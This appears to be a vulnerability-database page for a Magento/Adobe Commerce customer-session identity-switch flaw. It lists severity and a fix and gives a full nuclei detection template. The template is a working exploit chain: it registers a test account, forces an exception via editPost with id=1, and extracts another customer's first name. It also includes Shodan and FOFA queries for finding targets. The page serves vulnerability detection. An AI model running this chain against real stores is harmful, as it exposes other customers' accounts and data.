HexBrain

Browse / CVEs / CVE-2026-71362

CVE-2026-71362· adobe / magento· CWE-863

Adobe Commerce/Magento - Customer Session Identity Switch

Exploited in the wild. Listed by CISA on 2026-09-24; known to be used by ransomware.

criticalseverity
9.1CVSS score
91.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction.

Impact

Attackers can gain elevated access to sensitive resources, potentially compromising system integrity and data confidentiality.

Fix

Update to the latest version of Adobe Commerce.

How to confirm it

Send: GET /customer/account/create
Positive when: status_code == 200 and contains(tolower(body), "form_key")
Send: POST /customer/account/createPost
Positive when: status_code == 200 || status_code == 302
Send: GET /customer/account/edit
Positive when: status_code == 200 and contains(body, "PoCTestCVE")
Send: POST /customer/account/editPost
Positive when: status_code == 200 || status_code == 302
Send: GET /customer/account/edit
Positive when: status_code == 200
Send: GET /customer/section/load?sections=customer&force_new_section_timestamp=true
Positive when: status_code == 200 and !contains(body, "PoCTestCVE") and regex("\"firstname\":\"[A-Za-z0-9]", body)

Run it with nuclei: nuclei -id CVE-2026-71362 -u <target>

The full check
id: CVE-2026-71362

info:
  name: Adobe Commerce/Magento - Customer Session Identity Switch
  author: 0x_Akoko,dinosn
  severity: critical
  description: |
    Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction.
  impact: |
    Attackers can gain elevated access to sensitive resources, potentially compromising system integrity and data confidentiality.
  remediation: |
    Update to the latest version of Adobe Commerce.
  reference:
    - https://helpx.adobe.com/security/products/magento/apsb26-92.html
    - https://nvd.nist.gov/vuln/detail/CVE-2026-71362
    - https://sansec.io/research/adobe-commerce-account-takeover-apsb26-92
    - https://github.com/dinosn/cve-2026-71362-magento-lab
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-71362
    epss-score: 0.91677
    epss-percentile: 0.99816
    cwe-id: CWE-863
  metadata:
    max-request: 6
    verified: true
    vendor: adobe
    product: magento
    shodan-query: http.component:"Magento"
    fofa-query: app="Magento"
  tags: cve,cve2026,magento,adobe-commerce,ato,account-takeover,intrusive,vkev,kev

variables:
  rnd: "{{rand_int(100000, 999999)}}"
  email: "poctest{{rnd}}@poctest.invalid"
  password: "PoCPwd#{{rnd}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

http:
  - raw:
      - |
        GET /customer/account/create HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "form_key")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fk
        group: 1
        regex:
          - 'name="form_key"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        POST /customer/account/createPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{sessid}}
        Referer: {{BaseURL}}/customer/account/create

        form_key={{fk}}&firstname=PoCTestCVE&lastname=Detector&email={{email}}&password={{password}}&password_confirmation={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/account/edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "PoCTestCVE")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fk
        group: 1
        regex:
          - 'name="form_key"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        POST /customer/account/editPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{sessid}}
        Referer: {{BaseURL}}/customer/account/edit

        form_key={{fk}}&id=1&change_email=1&current_password=wrong-password-forces-exception&email={{email}}&firstname=PoCTestCVE&lastname=Detector

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/account/edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/section/load?sections=customer&force_new_section_timestamp=true HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}
        X-Requested-With: XMLHttpRequest

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!contains(body, "PoCTestCVE")'
          - 'regex("\"firstname\":\"[A-Za-z0-9]", body)'
        condition: and

    extractors:
      - type: regex
        name: victim_firstname
        group: 1
        regex:
          - '"firstname":"([^"]+)"'

References

Use this check only on systems you are authorised to test. Where the data comes from